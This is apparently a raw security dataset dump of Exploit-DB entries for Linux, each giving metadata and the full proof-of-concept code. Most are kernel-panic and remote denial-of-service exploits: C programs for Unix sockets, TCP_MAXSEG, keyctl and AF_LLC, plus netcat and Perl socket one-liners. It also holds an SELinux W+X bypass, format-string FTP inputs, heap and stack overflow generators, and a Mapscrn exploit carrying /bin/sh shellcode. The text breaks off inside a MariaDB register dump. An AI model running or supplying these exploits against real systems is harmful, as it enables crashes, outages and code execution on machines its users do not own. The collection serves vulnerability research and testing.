deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7091
Description: Linux Kernel < 2.4.36.9/2.6.27.5 - Unix Sockets Local Kernel Panic (Denial of Service)
Type: dos
Platform: linux
Date: 2008-11-11
Author: Andrea Bittau

Exploit:
#include <sys/socket.h>
#include <sys/un.h>
#include <unistd.h>
#include <assert.h>
#include <err.h>
#include <stdlib.h>

static int own_child(int *us)
{
        int pid;
        int s[2];
        struct msghdr mh;
        char crap[1024];
        struct iovec iov;
        struct cmsghdr *c;
        int *fd;
        int rc;

        pid = fork();
        if (pid == -1)
                err(1, "fork()");

        if (pid) {
              close(us[1]);

                return pid;
        }

        close(us[0]);

        memset(&mh, 0, sizeof(mh));
        iov.iov_base = "a";
        iov.iov_len  = 1;

        mh.msg_iov        = &iov;
        mh.msg_iovlen     = 1;
        mh.msg_control    = crap;
        mh.msg_controllen = sizeof(crap);

        c = CMSG_FIRSTHDR(&mh);
        assert(c);

        c->cmsg_level = SOL_SOCKET;
        c->cmsg_type  = SCM_RIGHTS;

        fd = (int*) CMSG_DATA(c);
        assert(fd);

        c->cmsg_len = CMSG_LEN(sizeof(int));
        mh.msg_controllen = c->cmsg_len;

        while (1) {
                if (socketpair(PF_UNIX, SOCK_STREAM, 0, s) == -1)
                        err(1, "socketpair()");

                *fd = s[0];

                rc = sendmsg(us[1], &mh, 0);
                if (rc == -1)
                        err(1, "sendmsg()");

                if (rc != iov.iov_len)
                        errx(1, "sent short");

                close(s[0]);
                close(us[1]);
                us[1] = s[1];
        }
}

static void own(void)
{       
        static int pid;
        static int us[2];
        char crap[1024];
        char morte[1024];
        struct cmsghdr *c;
        int rc;
        struct msghdr mh;
        struct iovec iov;
        int *fds;

        if (!pid) {
                if (socketpair(PF_UNIX, SOCK_STREAM, 0, us) == -1)
                        err(1, "socketpair()");
                pid = own_child(us);
        }

        iov.iov_base = morte;
        iov.iov_len  = sizeof(morte);

        memset(&mh, 0, sizeof(mh));
        mh.msg_iov        = &iov;
        mh.msg_iovlen     = 1;
        mh.msg_control    = crap;
        mh.msg_controllen = sizeof(crap);

        rc = recvmsg(us[0], &mh, 0);
        if (rc == -1)
                err(1, "recvmsg()");

        if (rc == 0)
                errx(1, "EOF");

        c = CMSG_FIRSTHDR(&mh);
        assert(c);
        assert(c->cmsg_type == SCM_RIGHTS);

        fds = (int*) CMSG_DATA(c);
        assert(fds);

        close(us[0]);
        us[0] = *fds;
}

int main(int argc, char *argv[])
{
	own();
	exit(0);
}

// milw0rm.com [2008-11-11]
Exploit-DB #16952
Description: Linux Kernel < 2.6.37-rc2 - 'TCP_MAXSEG' Kernel Panic (Denial of Service) (2)
Type: dos
Platform: linux
Date: 2011-03-10
Author: zx2c4

Exploit:
/*
 * TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2
 * by zx2c4
 *
 * This exploit triggers CVE-2010-4165, a divide by zero
 * error in net/ipv4/tcp.c. Because this is on the softirq
 * path, the kernel oopses and then completely dies with
 * no chance of recovery. It has been very reliable as a
 * DoS, but is not useful for triggering other bugs.
 *
 * -zx2c4, 28-2-2011
 */

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>

int main()
{
	struct sockaddr_in laddr;
	memset(&laddr, 0, sizeof(laddr));
	laddr.sin_family = AF_INET;
	laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
	laddr.sin_port = htons(31337);
	int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (listener < 0) {
		printf("[-] Could not open listener.\n");
		return -1;
	}
	int val = 12;
	if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
		printf("[-] Could not set sockopt.\n");
		return -1;
	}
	if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
		printf("[-] Could not bind to address.\n");
		return -1;
	}
	if (listen(listener, 1) < 0) {
		printf("[-] Could not listen.\n");
		return -1;
	}
	int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
	if (hello < 0) {
		printf("[-] Could not open connector.\n");
		return -1;
	}
	if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
		printf("[-] Could not connect to listener.\n");
		return -1;
	}
	printf("[-] Connection did not trigger oops.\n");
	return 0;
}
Exploit-DB #42136
Description: Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service
Type: dos
Platform: linux
Date: 2017-06-07
Author: Marcus Meissner

Exploit:
/*
Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862
QA REPRODUCER:

gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils
./CVE-2017-7472

(will run the kernel out of memory)
*/
#include <sys/types.h>
#include <keyutils.h>

int main()
{
	for (;;)
		keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);
}
Exploit-DB #44579
Description: Linux Kernel < 4.17-rc1 - 'AF_LLC' Double Free
Type: dos
Platform: linux
Date: 2018-04-30
Author: SecuriTeam

Exploit:
#define _GNU_SOURCE
#include <endian.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <stdint.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/socket.h>
 
struct sockaddr_llc {
 short  sllc_family;
 short  sllc_arphrd;
 unsigned char   sllc_test;
 unsigned char   sllc_xid;
 unsigned char sllc_ua;
 unsigned char   sllc_sap;
 unsigned char   sllc_mac[6];
 unsigned char   __pad[2];
};
 
void test()
{
 int fd = socket(AF_LLC, SOCK_STREAM, 0);
 char output[32] = "lo";
 socklen_t len;
 setsockopt(fd, SOL_SOCKET, SO_BINDTODEVICE, &output, 0x10);
 struct sockaddr_llc addr1 = {.sllc_family = AF_LLC, .sllc_sap = 2};
 bind(fd, (const struct sockaddr *)&addr1, sizeof(struct sockaddr_llc));
 struct sockaddr_llc addr2 = {.sllc_family = AF_LLC, .sllc_sap = 2};
 connect(fd, (const struct sockaddr *)&addr2, sizeof(struct sockaddr_llc));
 
 char msg[0x10] = "aaaa";
 send(fd, msg, 0x10, 0);
}
 
int main()
{
 test();
 return 0;
}
Exploit-DB #911
Description: Linux Kernel PPC64/IA64 (AIO) - Local Denial of Service
Type: dos
Platform: linux
Date: 2005-04-04
Author: Daniel McNeil

Exploit:
//
// Proof of Concept by Daniel McNeil
// compile using cc -o aiodio_read aiodio_read.c -laio
//

#define _XOPEN_SOURCE 600 
#define _GNU_SOURCE 


#include <unistd.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#include <errno.h> 
#include <sys/fcntl.h> 
#include <sys/mman.h> 
#include <sys/wait.h> 
#include <sys/stat.h> 


#include <libaio.h> 


int pagesize; 
char *iobuf; 
io_context_t myctx; 
int aio_maxio = 4; 


/* 
* do a AIO DIO write 
*/ 
int do_aio_direct_read(int fd, char *iobuf, int offset, int size) 
{ 
struct iocb myiocb; 
struct iocb *iocbp = &myiocb; 
int ret; 
struct io_event e; 
struct stat s; 


io_prep_pread(&myiocb, fd, iobuf, size, offset); 
if ((ret = io_submit(myctx, 1, &iocbp)) != 1) { 
perror("io_submit"); 
return ret; 
} 


ret = io_getevents(myctx, 1, 1, &e, 0); 


if (ret) { 
struct iocb *iocb = e.obj; 
int iosize = iocb->u.c.nbytes; 
char *buf = iocb->u.c.buf; 
long long loffset = iocb->u.c.offset; 


printf("AIO read of %d at offset %lld returned %d\n", 
iosize, loffset, e.res); 
} 


return ret; 



} 


int main(int argc, char *argv[]) 
{ 
char *filename; 
int fd; 
int err; 

filename = "test.aio.file"; 
fd = open(filename, O_RDWR|O_DIRECT|O_CREAT|O_TRUN­C, 0666); 


pagesize = getpagesize(); 
err = posix_memalign((void**) &iobuf, pagesize, pagesize); 
if (err) { 
fprintf(stderr, "Error allocating %d aligned bytes.\n", 
pagesize); 
exit(1); 
} 
err = write(fd, iobuf, pagesize); 
if (err != pagesize) { 
fprintf(stderr, "Error ret = %d writing %d bytes.\n", 
err, pagesize); 
perror(""); 
exit(1); 
} 
memset(&myctx, 0, sizeof(myctx)); 
io_queue_init(aio_maxio, &myctx); 
err = do_aio_direct_read(fd, iobuf, 0, pagesize); 
close(fd); 


printf("This will panic on ppc64\n"); 
return err; 

}

// milw0rm.com [2005-04-04]
Exploit-DB #3441
Description: Linux Omnikey Cardman 4040 Driver - Local Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2007-03-09
Author: Daniel Roethlisberger

Exploit:
/*
 * Linux Omnikey Cardman 4040 driver buffer overflow (CVE-2007-0005)
 * Copyright (C) Daniel Roethlisberger <daniel.roethlisberger@csnc.ch>
 * Compass Security Network Computing AG, Rapperswil, Switzerland.
 * All rights reserved.
 * http://www.csnc.ch/
 */

#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include<errno.h>

int main(int argc, char *argv[]) {
   int fd, i, n;
   char buf[8192];

   /*
    * 0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f  ...
    * 00 01 00 02 00 03 00 04 00 05 00 06 00 07 00 08 ...
    */
   for (i = 0; i < sizeof(buf); i += 2) {
       buf[i]   = (char)(((i/2) & 0xFF00) >> 8);
       buf[i+1] = (char) ((i/2) & 0x00FF);
   }

   if ((fd = open("/dev/cmx0", O_RDWR)) < 0) {
       printf("Error: open() => %s\n", strerror(errno));
       exit(errno);
   }
   if ((n = write(fd, buf, sizeof(buf))) < 0) {
       printf("Error: write() => %s\n", strerror(errno));
       exit(errno);
   }
   printf("%d of %d bytes written\n", n, sizeof(buf));
   exit(0);
}

// milw0rm.com [2007-03-09]
Exploit-DB #40419
Description: Linux SELinux - W+X Protection Bypass via AIO
Type: dos
Platform: linux
Date: 2016-09-23
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=854

SELinux has a set of permissions that can be used to prevent processes from creating executable
memory mappings that contain data controlled by the process (PROCESS__EXECMEM, PROCESS__EXECHEAP, ...).
These permissions, when applied correctly, make exploitation of memory corruption issues somewhat more
difficult and much more annoying.

When a process tries to map memory using sys_mmap_pgoff(), vm_mmap_pgoff() is called, which first
performs the LSM security check by calling security_mmap_file() and then calls do_mmap_pgoff(), which
takes care of the rest and does not rerun the same security check.

The syscall handler for io_setup() calls ioctx_alloc(), which calls aio_setup_ring(), which allocates
memory via do_mmap_pgoff() - the method that doesn't contain the security check.

aio_setup_ring() only requests that the memory is mapped as PROT_READ | PROT_WRITE; however, if the
process has called personality(READ_IMPLIES_EXEC) before, this will actually result in the creation
of a memory mapping that is both writable and executable, bypassing the SELinux restriction.

To verify: (note: I actually tested this without SELinux since the code looks pretty straightforward
and I don't want to figure out how to set up SELinux rules)

$ cat > iosetup.c
*/

#define _GNU_SOURCE
#include <linux/aio_abi.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <err.h>
#include <sys/personality.h>

int main(void) {
  aio_context_t ctx;
  personality(READ_IMPLIES_EXEC);
  if (syscall(__NR_io_setup, 1, &ctx))
    err(1, "io_setup");
  while (1) pause();
}

/*
$ gcc -o iosetup iosetup.c
$ ./iosetup &
[1] 4949
$ cat /proc/4949/maps | grep aio
7fa0b59c6000-7fa0b59c7000 rwxs 00000000 00:0b 36093330                   /[aio] (deleted)
*/
Exploit-DB #28386
Description: Linux-HA Heartbeat 2.0.6 - Remote Denial of Service
Type: dos
Platform: linux
Date: 2006-08-13
Author: Yan Rong Ge

Exploit:
source: https://www.securityfocus.com/bid/19516/info

Linux-HA Heartbeat is prone to a remote denial-of-service vulnerability.

By successfully exploiting this issue, attackers can crash the master control process. This may result in the failure of services that depend on the application's functionality.

perl -e 'print "###\n[PII_REDACTED]heart attack:%%%\n"' | nc -u 192.168.1.12 694
Exploit-DB #30776
Description: LIVE555 Media Server 2007.11.1 - ParseRTSPRequestString Remote Denial of Service
Type: dos
Platform: linux
Date: 2007-11-19
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/26488/info

LIVE555 Media Server is prone to a remote denial-of-service vulnerability because it fails to adequately sanitize user-supplied input.

Attackers can exploit this issue to crash the application, resulting in denial-of-service conditions.

LIVE555 Media Server 2007.11.01 is vulnerable; other versions may also be affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/30776.zip
Exploit-DB #25465
Description: Logwatch 2.6 Secure Script - Denial of Service
Type: dos
Platform: linux
Date: 2005-04-20
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/13273/info

Logwatch is prone to a denial of vulnerability in the secure script.

This issue may be exploited by a local attacker who can inject a malicious string into a log file, causing a denial of service condition. As a result, the utility may not detect subsequent malicious activity. 

ogger -p authpriv.notice '+++ connection closed by localhost +++'
Exploit-DB #23539
Description: Mabry Software FTPServer/X 1.0 - Controls Format String
Type: dos
Platform: linux
Date: 2004-01-12
Author: Jan-Olivier Fillols

Exploit:
source: https://www.securityfocus.com/bid/9402/info

It has been reported that FTPServer/X may be prone to a remote format string vulnerability when processing a malicious request from a client. The vulnerability presents itself when the server receives a malicious request containing embedded format string specifiers from a remote client when supplying a username during FTP authentication. This could be exploited to crash the server but could also theoretically permit corruption/disclosure of memory contents and execution of arbitrary code.

FTPServer/X COM Object version 1.00.050 has been reported to be vulnerable to this issue, however, other versions could be affected as well. It should be noted that any software that implements the Mabry Software FTPServer/X control, is likely affected by this vulnerability. It has been confirmed that this control is in use by Mollensoft(Hyperion) FTP Server.

The vulnerable control is also used by PlatinumFTPServer, which is also vulnerable to this issue. It is noted that other FTP commands such as 'mkdir' and 'rename' are also affected by this issue.

user %s%s%s%s
mkdir %s%s%s%s
rename filename %s%s%s%s
Exploit-DB #3945
Description: MagicISO 5.4 (build239) - '.cue' Heap Overflow (PoC)
Type: dos
Platform: linux
Date: 2007-05-17
Author: n00b

Exploit:
#!/usr/bin/env ruby
###################################
#Credits to n00b for finding this bug.
#Magic iso has a stacked based buffer over-flow when 
#We pass an overly-long file name inside the .cue file
#We are able to control alot of the registers so
#Command execution is possible,But im still learning 
#Which means this will get released as a dos poc for 
#now till i can get the help i need..Any way i will provide 
#The dubug info for you to see for your self..If any one 
#Decides to write a Local exploit for this please give 
#Credits to n00b..Ok on with the work of info collecting.
#Vendor : http://www.magiciso.com/
#Tested on win xp sp2.
#I would also like to thank the people i emailed and pm about this
#Shouts:  ~  Str0ke  ~  Marsu  ~  SM  ~ Aelphaeis  ~  vade79
#              Thanx to all you guys who helped.
###################################
#...Debug info..
# Program received signal SIGSEGV, Segmentation fault.
#  [Switching to thread 1092.0x314]
# 0x0058f05e in ?? ()
# (gdb) i r
# eax            0x41414141      [PII_REDACTED]
# ecx            0x41414141      [PII_REDACTED]
# edx            0x41414141      [PII_REDACTED]
# ebx            0x41414545      [PII_REDACTED]
# esp            0x12f5c8 0x12f5c8
# ebp            0x12f5ec 0x12f5ec
# esi            0xf4e[PII_REDACTED]4
# edi            0xf4eb1c 16050972
# eip            0x58f05e 0x58f05e
# eflags         0x10206  66054
# cs             0x1b     27
# ss             0x23     35
# ds             0x23     35
# es             0x23     35
# fs             0x3b     59
# gs             0x0      0
# fctrl          0xffff1273       -60813
# fstat          0xffff0000       -65536
# ftag           0xffffffff       -1
# fiseg          0x0      0
# fioff          0x0      0
# foseg          0xffff0000       -65536
# fooff          0x0      0
# ---Type <return> to continue, or q <return> to quit---
# fop            0x0      0
# (gdb)
###################################
#As you can see from the debug info we control eax ecx edx..
#The two registers shown, EAX and ECX, can be populated with user supplied addresses which are a part of the data that 
#is used to overflow the heap buffer. One of the address can be of a function pointer which needs to be overwritten, for 
#example UEF and the other can be address of user supplied code that needs to be executed.

$VERBOSE=nil  #~ Shut the fuck up Let me do it my way ruby's over-zealous warnings..

Header1 =         
           "\x46\x49\x4c\x45\x20\x22"


Bof = 'A'* 2024

Header2  =   "\x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x0d\x0a\x20"+
                  "\x54\x52\x41\x43\x4b\x20\x30\x31\x20\x4d\x4f\x44\x45\x31\x2f\x32"+
                  "\x33\x35\x32\x0d\x0a\x20\x20\x20\x49\x4e\x44\x45\x58\x20\x30\x31"+
                  "\x20\x30\x30\x3a\x30\x30\x3a\x30\x30"

n00b = Header1  + Bof + Header2
  
File.open( "MagicISO.cue", "w" ) do |the_file|

the_file.puts (n00b)

end

# milw0rm.com [2007-05-17]
Exploit-DB #23116
Description: Mah-Jong 1.4/1.6 - Server Remote Denial of Service
Type: dos
Platform: linux
Date: 2003-09-07
Author: jsk

Exploit:
source: https://www.securityfocus.com/bid/8558/info

A remote denial of service vulnerability has been reported to affect the mah-jong game server. The issue has been reported to be exploitable so that a remote attacker may trigger a tight loop in the affected mah-jong server. This will cause the game server to be unresponsive to further commands, effectively denying service to legitimate users. 

#!/usr/bin/perl -s
use IO::Socket;
# test it in slackware 9.0
# DOS-test--mj1.6--code by jsk
# mahJong 1.6, all versions of mahjong
if(!$ARGV[0] || !$ARGV[1])
 { print "usage: ./dosmj.pl <host> <port>\n"; exit(-1); }

$host = $ARGV[0];
$port = $ARGV[1];
$jsk ="Connect 1034 0";
$socket = new IO::Socket::INET (
 Proto => "tcp",
 PeerAddr => $host,
 PeerPort => $port);

die "unable to connect to $host:$port ($!)\n" unless $socket;
print $socket "Connect 1034 0";
print $socket "\r\n";
close($socket);
Exploit-DB #42144
Description: Mapscrn 2.03 - Local Buffer Overflow (PoC)
Type: dos
Platform: linux
Date: 2017-06-09
Author: Juan Sacco

Exploit:
# Developed using Exploit Pack - http://exploitpack.com - <jsacco@exploitpack.com>
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# Description: Mapscrn ( Part of setfont ) 2.0.3
# The  mapscrn command loads a user defined output character mapping table into the console driver.
# The console driver may be later put into use user-defined mapping table mode by outputting a special
# escape sequence to the console device.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Architecture: all
#
# Vendor homepage: http://ccross.msk.su
#
# Source and destination overlap in strcpy(0xbe95fc4c, 0xbe9610df)
# at 0x4831518: strcpy (vg_replace_strmem.c:506)
# by 0x10A71F: ??? (in /usr/bin/mapscrn)
# by 0x10933B: ??? (in /usr/bin/mapscrn)
# by 0x41414140: ???
#
# Invalid read of size 2
# at 0x488DFCA: getenv (getenv.c:84)
# by 0x48867AE: guess_category_value (dcigettext.c:1587)
# by 0x48867AE: __dcigettext (dcigettext.c:667)
# by 0x48855F5: dcgettext (dcgettext.c:47)
# by 0x109733: ??? (in /usr/bin/mapscrn)
# by 0x41414140: ???
# Address 0x41414141 is not stack'd, malloc'd or (recently) free'd
#
# Process terminating with default action of signal 11 (SIGSEGV)
# Access not within mapped region at address 0x41414141
# at 0x488DFCA: getenv (getenv.c:84)
# by 0x48867AE: guess_category_value (dcigettext.c:1587)
# by 0x48867AE: __dcigettext (dcigettext.c:667)
# by 0x48855F5: dcgettext (dcgettext.c:47)
# by 0x109733: ??? (in /usr/bin/mapscrn)
# by 0x41414140: ???


import os,subprocess

junk = "\x41" * 4880 # junk to offset
nops = "\x90" * 24 # nops
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
esp = "\xe0\xdf\xff\xbf" # Must be changed
buffer = junk + esp + nops + shellcode # Craft the buffer

try:
   print("[*] Mapscrn Stack-Based Buffer Overflow by Juan Sacco")
   print("[*] Please wait.. running")
   subprocess.call(["mapscrn", buffer])
except OSError as e:
   if e.errno == os.errno.ENOENT:
       print "Mapscrn  not found!"
   else:
    print "Error executing exploit"
   raise
Exploit-DB #45901
Description: MariaDB Client 10.1.26 - Denial of Service (PoC)
Type: dos
Platform: linux
Date: 2018-11-26
Author: strider

Exploit:
# Exploit Title: MariaDB Client 10.1.26 - Denial of Service (PoC)
# Google Dork: None
# Date: 2018-11-16
# Exploit Author: strider
# Software Link: https://github.com/MariaDB/server
# Version: mysql  Ver 15.1 Distrib 10.1.26-MariaDB, for debian-linux-gnu (x86_64) using readline 5.2
# Tested on: Debian 9 Stretch x64 / Ubuntu 18.04 x86_64
# CVE : None

# Description:
# MariaDB uses environment variables. The PAGER variable is vulnerable to a bufferoverflow.
# If the environment variable PAGER is greater or equals 512 characters it will crash and make client unusable.

# This is caused by a the function strmov which takes all from source and copy that 
# into destination which have a fixed size.

Codepart:
static char default_pager[FN_REFLEN];

char *tmp=getenv("PAGER");
if (tmp && strlen(tmp))
{
	default_pager_set= 1;
	strmov(default_pager, tmp);
}


Proof of Concept:

Step 1:

export PAGER=$(python -c "print '\x41' * 512")

Step 2:

mariadb -u user -p

Crash

---------------------------------------------------------------------
peda output:

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
RAX: 0x555555b73600 ('A' <repeats 200 times>...)
RBX: 0x555555b7cbc8 ('A' <repeats 200 times>...)
RCX: 0x70 ('p')
RDX: 0x0 
RSI: 0x555555bafe40 ('A' <repeats 200 times>...)
RDI: 0x555555bb0040 
RBP: 0x7fffffffdfa0 --> 0x555555639a80 (<__libc_csu_init>:	push   r15)
RSP: 0x7fffffffdd48 --> 0x55555558e5bc (<main+620>:	mov    rax,QWORD PTR [r12])
RIP: 0x7ffff677e2e6 (<__strcpy_sse2_unaligned+374>:	movdqu XMMWORD PTR [rdi-0x40],xmm4)
R8 : 0x555555b92580 ('A' <repeats 200 times>...)
R9 : 0x20 (' ')
R10: 0x7fffffffa5a0 --> 0x7fffffffa5d0 --> 0x7fffffffdb80 --> 0x7fffffffdc10 --> 0x0 
R11: 0x7ffff6846d68 --> 0xfff37778fff37768 
R12: 0x555555b00bc0 --> 0x555555b00b80 --> 0x40000000 ('')
R13: 0x7ffff6a846e8 --> 0x7ffff6a84600 --> 0xfbad2084 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow)